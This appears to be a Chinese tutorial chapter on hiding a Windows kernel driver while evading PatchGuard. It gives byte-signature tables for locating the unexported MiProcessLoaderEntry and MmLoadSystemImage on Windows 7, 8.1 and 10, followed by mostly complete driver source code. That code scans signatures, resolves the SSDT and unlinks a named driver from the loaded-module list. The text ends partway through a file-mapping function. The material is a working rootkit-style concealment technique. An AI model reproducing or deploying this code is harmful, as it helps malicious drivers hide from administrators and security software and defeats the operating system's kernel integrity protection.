WindowsAPI编程核心技术-过PatchGuard防护

驱动隐藏过PatchGuard

摘链

未导出函数MiProcessLoaderEntry从全局链表中插入或删除一个模块,操作时同样设置PatchGuard监控的全局数据,所以不会触发PatchGuard导致蓝屏。声明如下:

1
2
3
4
5
NTSTATUS __stdcall MiProcessLoaderEntry(
PVOID pList, //双向链表
BOOLEAN bOperate //操作标志 TRUE插入链表 FALSE删除链表
); //x86
NTSTATUS __fastcall MiProcessLoaderEntry(PVOID pList,BOOLEAN bOperate); //x64

对Ntoskrnl.exe丢IDA进行分析,对导出函数NtSetSystemInformation内存特征码扫描定位未导出函数MmLoadSystemImage地址。

对于x86和x64的Windows 7和Windows 8.1,在MmLoadSystemImage函数内存中扫描定位MiProcessLoaderEntry函数地址。

对于x86和x64的Windows 10,在MmLoadSystemImage中定位MiConstructLoaderEntry未导出函数,再从中扫描定位MiProcessLoaderEntry函数地址。

在导出函数NtSetSystemImformation中定位未导出函数MmLoadSystemInformation特征码:

Windows 7 Windows 8.1 Windows 10
x86 D850E8 8D8510FFFFFF50E8 8D8504FFFFFF50E8
x64 488D4C2438E8 488D8C2400020000E8 488D8C2448020000E8

在未导出函数MmLoadSystemImage中定位未导出函数MiProcessLoaderEntry特征码:

Windows 7 Windows 8.1 Windows 10
x86 6A0156E8 8974241C8BCFE8 8D54244C50E8/8BCB42E8
x64 BA01000000488BCDE8 4183CC04E8 488BCF89442420E8/BA01000000488BCFE8

驱动隐藏

驱动对象结构体DRIVER_OBJECT的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
DRIVER_OBJECT;
} DRIVER_OBJECT;

重点在DriverSection域上,结构体LDR_DATA_TABLE_ENTRY结构体不公开但长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#ifndef _WIN64 //注意对齐大小 否则出错
#pragma pack(1)
#endif
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks; //上一个或下一个内核驱动模块LDR_DATA_TABLE_ENTRY结构体
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllname;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;
#ifndef _WIN64
#pragma pack()
#endif

这里面记录了驱动模块的加载基址、路径、名称等信息。因为DRIVER_OBJECT整个都是PatchGuard的重点保护内存数据,所以用MiProcessLoaderEntry进行摘链实现驱动隐藏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 驱动模块隐藏(Bypass Patch Guard)
BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName) {
// 从PDRIVER_OBJECT获取DriverSection,便可获得驱动模块链表
PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
typedef_MiProcessLoaderEntry MiProcessLoaderEntry = NULL;
// 获取 MiProcessLoaderEntry 函数地址
MiProcessLoaderEntry = GetFuncAddr_MiProcessLoaderEntry();
if (NULL == MiProcessLoaderEntry) {
DbgPrint("GetFuncAddr_MiProcessLoaderEntry Error!");
return FALSE;
};
DbgPrint("MiProcessLoaderEntry=0x%p", MiProcessLoaderEntry);
// 开始遍历双向链表
PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData;
do {
if ((0 < pDriverData->BaseDllName.Length) || (0 < pDriverData->FullDllName.Length))
// 判断是否为隐藏的驱动模块
if (RtlEqualUnicodeString(&pDriverData->BaseDllName, &ustrHideDriverName, TRUE)) {
// 摘链隐藏(Bypass Patch Guard)
MiProcessLoaderEntry((PVOID)pDriverData, FALSE);
DbgPrint("[Hide Driver]%wZ\n", &pDriverData->BaseDllName);
break;
};
// 下一个
pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink;
} while (pFirstDriverData != pDriverData);
return TRUE;
};

源代码

Driver.h:

1
2
3
4
5
6
7
8
9
10
11
12
#ifndef _DRIVER_H_
#define _DRIVER_H_


#include <ntddk.h>


VOID DriverUnload(PDRIVER_OBJECT pDriverObject);
NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);


#endif

EnumDriver.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#ifndef _DRIVER_ENUM_H_
#define _DRIVER_ENUM_H_


#include <ntddk.h>


// 注意32位与64位的对齐大小
#ifndef _WIN64
#pragma pack(1)
#endif

typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

#ifndef _WIN64
#pragma pack()
#endif


// 驱动模块遍历
BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject);

// 驱动模块隐藏(Bypass Patch Guard)
BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName);


#endif

GetMiProcessLoaderEntry.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifndef _GET_MIPROCESSLOADERENTRY_H_
#define _GET_MIPROCESSLOADERENTRY_H_


#include <ntddk.h>


#ifndef _WIN64
// 32
typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN);
#else
// 64
typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN);
#endif


// 从 MmLoadSystemImage 中获取对应的 MiProcessLoaderEntry 特征码
// 其中, 32和64位的 Win7, Win8.1 直接从 MmLoadSystemImage 中搜索 MiProcessLoaderEntry
// 32和64位的 Win10 需要从 MmLoadSystemImage 中搜索 MiConstructLoaderEntry, 再从 MiConstructLoaderEntry 中搜索 MiProcessLoaderEntry
PVOID GetFuncAddr_MiProcessLoaderEntry();

// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
PVOID GetFuncAddr_MmLoadSystemImage();

// 搜索特征码
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength);


#endif

SSDTFunction.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#ifndef _SSDT_FUNCTION_H_
#define _SSDT_FUNCTION_H_


#include <ntddk.h>
#include <ntimage.h>


#ifndef _WIN64
// 32 Bits
#pragma pack(1)
typedef struct _SERVICE_DESCIPTOR_TABLE
{
PULONG ServiceTableBase; // SSDT基址
PULONG ServiceCounterTableBase; // SSDT中服务被调用次数计数器
ULONG NumberOfService; // SSDT服务个数
PUCHAR ParamTableBase; // 系统服务参数表基址
}SSDTEntry, *PSSDTEntry;
#pragma pack()
// 直接获取 SSDT
extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;

#else
// 64 Bits
#pragma pack(1)
typedef struct _SERVICE_DESCIPTOR_TABLE
{
PULONG ServiceTableBase; // SSDT基址
PVOID ServiceCounterTableBase; // SSDT中服务被调用次数计数器
ULONGLONG NumberOfService; // SSDT服务个数
PVOID ParamTableBase; // 系统服务参数表基址
}SSDTEntry, *PSSDTEntry;
#pragma pack()

#endif


// 获取 SSDT 函数地址
PVOID GetSSDTFunction(PCHAR pszFunctionName);

// 32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
PVOID GetSSDTAddress();

// 从 ntdll.dll 中获取 SSDT 函数索引号
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName);
// 内存映射文件
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress);
// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName);


#endif

Driver.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include "Driver.h"
#include "EnumDriver.h"


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
DbgPrint("Enter DriverEntry\n");

NTSTATUS status = STATUS_SUCCESS;
pDriverObject->DriverUnload = DriverUnload;
for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pDriverObject->MajorFunction[i] = DriverDefaultHandle;
}

// 遍历驱动模块
EnumDriver(pDriverObject);

// 驱动模块隐藏(Bypass Patch Guard)
UNICODE_STRING ustrDriverName;
RtlInitUnicodeString(&ustrDriverName, L"EnumDriver_Test.sys");
HideDriver_Bypass_PatchGuard(pDriverObject, ustrDriverName);

DbgPrint("Leave DriverEntry\n");
return status;
}



VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
}


NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return status;
}

EnumDriver.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include "EnumDriver.h"
#include "GetMiProcessLoaderEntry.h"


// 驱动模块遍历
BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject)
{
// 从PDRIVER_OBJECT获取DriverSection,便可获得驱动模块链表
PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
// 开始遍历双向链表
PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData;
do
{
if ((0 < pDriverData->BaseDllName.Length) ||
(0 < pDriverData->FullDllName.Length))
{
// 显示
DbgPrint("BaseDllName=%ws,\tDllBase=0x%p,\tSizeOfImage=0x%X,\tFullDllName=%ws\n",
pDriverData->BaseDllName.Buffer, pDriverData->DllBase,
pDriverData->SizeOfImage, pDriverData->FullDllName.Buffer);
}
// 下一个
pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink;

} while (pFirstDriverData != pDriverData);

return TRUE;
}


// 驱动模块隐藏(Bypass Patch Guard)
BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName)
{
// 从PDRIVER_OBJECT获取DriverSection,便可获得驱动模块链表
PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
typedef_MiProcessLoaderEntry MiProcessLoaderEntry = NULL;

// 获取 MiProcessLoaderEntry 函数地址
MiProcessLoaderEntry = GetFuncAddr_MiProcessLoaderEntry();
if (NULL == MiProcessLoaderEntry)
{
DbgPrint("GetFuncAddr_MiProcessLoaderEntry Error!");
return FALSE;
}
DbgPrint("MiProcessLoaderEntry=0x%p", MiProcessLoaderEntry);

// 开始遍历双向链表
PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData;
do
{
if ((0 < pDriverData->BaseDllName.Length) ||
(0 < pDriverData->FullDllName.Length))
{
// 判断是否为隐藏的驱动模块
if (RtlEqualUnicodeString(&pDriverData->BaseDllName, &ustrHideDriverName, TRUE))
{
// 摘链隐藏(Bypass Patch Guard)
MiProcessLoaderEntry((PVOID)pDriverData, FALSE);
DbgPrint("[Hide Driver]%wZ\n", &pDriverData->BaseDllName);
break;
}
}
// 下一个
pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink;

} while (pFirstDriverData != pDriverData);

return TRUE;
}

GetMiProcessLoaderEntry.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
#include "GetMiProcessLoaderEntry.h"
#include "SSDTFunction.h"


// 从 MmLoadSystemImage 中获取对应的 MiProcessLoaderEntry 特征码
// 其中, 32和64位的 Win7, Win8.1 直接从 MmLoadSystemImage 中搜索 MiProcessLoaderEntry
// 32和64位的 Win10 需要从 MmLoadSystemImage 中搜索 MiConstructLoaderEntry, 再从 MiConstructLoaderEntry 中搜索 MiProcessLoaderEntry
PVOID GetFuncAddr_MiProcessLoaderEntry()
{
NTSTATUS status = STATUS_SUCCESS;
RTL_OSVERSIONINFOW osVersionInfo = { 0 };
PVOID pMmLoadSystemImage = NULL;
PVOID pMiConstructLoaderEntry = NULL;
PVOID pMiProcessLoaderEntry = NULL;
UCHAR pSpecialCode[256] = { 0 };
ULONG ulSpecialCodeLength = 256;
ULONG ulSearchLength = 0x1000;
PVOID pSearchResultAddr = NULL;
LONG lOffset = 0;
RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);

// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage();
if (NULL == pMmLoadSystemImage)
{
return pMiProcessLoaderEntry;
}
DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage);

// 获取系统版本信息
RtlGetVersion(&osVersionInfo);
if (6 == osVersionInfo.dwMajorVersion)
{
// Win7
if (1 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x6a;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x56;
pSpecialCode[3] = 0xe8;
ulSpecialCodeLength = 4;
#else
// 64 Bits
pSpecialCode[0] = 0xba;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x00;
pSpecialCode[3] = 0x00;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x48;
pSpecialCode[6] = 0x8b;
pSpecialCode[7] = 0xcd;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}
// Win8
else if (2 == osVersionInfo.dwMinorVersion)
{

}
// Win8.1
else if (3 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x89;
pSpecialCode[1] = 0x74;
pSpecialCode[2] = 0x24;
pSpecialCode[3] = 0x1c;
pSpecialCode[4] = 0x8b;
pSpecialCode[5] = 0xcf;
pSpecialCode[6] = 0xe8;
ulSpecialCodeLength = 7;
#else
// 64 Bits
pSpecialCode[0] = 0x41;
pSpecialCode[1] = 0x83;
pSpecialCode[2] = 0xcc;
pSpecialCode[3] = 0x04;
pSpecialCode[4] = 0xe8;
ulSpecialCodeLength = 5;
#endif
}
}
// Win10
else if (10 == osVersionInfo.dwMajorVersion)
{
// 先获取 MiConstructLoaderEntry, 再获取 MiProcessLoaderEntry
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x54;
pSpecialCode[2] = 0x24;
pSpecialCode[3] = 0x4c;
pSpecialCode[4] = 0x50;
pSpecialCode[5] = 0xe8;
ulSpecialCodeLength = 6;
// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
// 继续搜索
pSpecialCode[0] = 0x8b;
pSpecialCode[1] = 0xcb;
pSpecialCode[2] = 0x42;
pSpecialCode[3] = 0xe8;
ulSpecialCodeLength = 4;
pMmLoadSystemImage = pMiConstructLoaderEntry;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8b;
pSpecialCode[2] = 0xcf;
pSpecialCode[3] = 0x89;
pSpecialCode[4] = 0x44;
pSpecialCode[5] = 0x24;
pSpecialCode[6] = 0x20;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
// 继续搜索
pSpecialCode[0] = 0xba;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x00;
pSpecialCode[3] = 0x00;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x48;
pSpecialCode[6] = 0x8b;
pSpecialCode[7] = 0xcf;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
pMmLoadSystemImage = pMiConstructLoaderEntry;
#endif
}

// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);

return pMiProcessLoaderEntry;
}


// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
PVOID GetFuncAddr_MmLoadSystemImage()
{
NTSTATUS status = STATUS_SUCCESS;
RTL_OSVERSIONINFOW osVersionInfo = { 0 };
PVOID pNtSetSystemInformation = NULL;
PVOID pMmLoadSystemImage = NULL;
UCHAR pSpecialCode[256] = { 0 };
ULONG ulSpecialCodeLength = 256;
ULONG ulSearchLength = 0x1000;
PVOID pSearchResultAddr = NULL;
LONG lOffset = 0;
RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);

// 从 SSDT 中获取 NtSetSystemInformation 函数地址
pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation");
if (NULL == pNtSetSystemInformation)
{
return pMmLoadSystemImage;
}

// 获取系统版本信息
RtlGetVersion(&osVersionInfo);
if (6 == osVersionInfo.dwMajorVersion)
{
// Win7
if (1 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0xd8;
pSpecialCode[1] = 0x50;
pSpecialCode[2] = 0xe8;
ulSpecialCodeLength = 3;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x4c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x38;
pSpecialCode[5] = 0xe8;
ulSpecialCodeLength = 6;
#endif
}
// Win8
else if (2 == osVersionInfo.dwMinorVersion)
{

}
// Win8.1
else if (3 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x85;
pSpecialCode[2] = 0x10;
pSpecialCode[3] = 0xff;
pSpecialCode[4] = 0xff;
pSpecialCode[5] = 0xff;
pSpecialCode[6] = 0x50;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x8c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x02;
pSpecialCode[6] = 0x00;
pSpecialCode[7] = 0x00;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}
}
// Win10
else if (10 == osVersionInfo.dwMajorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x85;
pSpecialCode[2] = 0x04;
pSpecialCode[3] = 0xff;
pSpecialCode[4] = 0xff;
pSpecialCode[5] = 0xff;
pSpecialCode[6] = 0x50;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x8c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x48;
pSpecialCode[5] = 0x02;
pSpecialCode[6] = 0x00;
pSpecialCode[7] = 0x00;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}

// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMmLoadSystemImage;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);

return pMmLoadSystemImage;
}


// 搜索特征码
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength)
{
PVOID pDestAddr = NULL;
PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr;
PUCHAR pEndAddr = pBeginAddr + ulSearchLength;
PUCHAR i = NULL;
ULONG j = 0;

for (i = pBeginAddr; i <= pEndAddr; i++)
{
// 遍历特征码
for (j = 0; j < ulSpecialCodeLength; j++)
{
// 判断地址是否有效
if (FALSE == MmIsAddressValid((PVOID)(i + j)))
{
break;;
}
// 匹配特征码
if (*(PUCHAR)(i + j) != pSpecialCode[j])
{
break;
}
}
// 匹配成功
if (j >= ulSpecialCodeLength)
{
pDestAddr = (PVOID)i;
break;
}
}

return pDestAddr;
}

SSDTFunction.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include "SSDTFunction.h"


// 获取 SSDT 函数地址
PVOID GetSSDTFunction(PCHAR pszFunctionName)
{
UNICODE_STRING ustrDllFileName;
ULONG ulSSDTFunctionIndex = 0;
PVOID pFunctionAddress = NULL;
PSSDTEntry pServiceDescriptorTable = NULL;
ULONG ulOffset = 0;

RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
// 从 ntdll.dll 中获取 SSDT 函数索引号
ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName);

//32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
pServiceDescriptorTable = GetSSDTAddress();

// 根据索引号, 从SSDT表中获取对应函数偏移地址并计算出函数地址
#ifndef _WIN64
// 32 Bits
pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex];
#else
// 64 Bits
ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4;
pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset);
#endif

// 显示
DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress);

return pFunctionAddress;
}


// 32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
PVOID GetSSDTAddress()
{
PVOID pServiceDescriptorTable = NULL;
PVOID pKiSystemCall64 = NULL;
UCHAR ulCode1 = 0;
UCHAR ulCode2 = 0;
UCHAR ulCode3 = 0;
// 注意使用有符号整型
LONG lOffset = 0;

#ifndef _WIN64
// 32 Bits
pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable);
#else
// 64 Bits
// 获取 KiSystemCall64 函数地址
pKiSystemCall64 = (PVOID)__readmsr(0xC0000082);
// 搜索特征码 4C8D15
for (ULONG i = 0; i < 1024; i++)
{
// 获取内存数据
ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i));
ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1));
ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2));
// 判断
if (0x4C == ulCode1 &&
0x8D == ulCode2 &&
0x15 == ulCode3)
{
// 获取偏移
lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3));
// 根据偏移计算地址
pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset);
break;
}
}
#endif

return pServiceDescriptorTable;
}


// 从 ntdll.dll 中获取 SSDT 函数索引号
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName)
{
ULONG ulFunctionIndex = 0;
NTSTATUS status = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
PVOID pBaseAddress = NULL;

// 内存映射文件
status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress);
if (!NT_SUCCESS(status))
{
KdPrint(("DllFileMap Error!\n"));
return ulFunctionIndex;
}

// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName);

// 释放
ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress);
ZwClose(hSection);
ZwClose(hFile);

return ulFunctionIndex;
}

// 内存映射文件
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress)
{
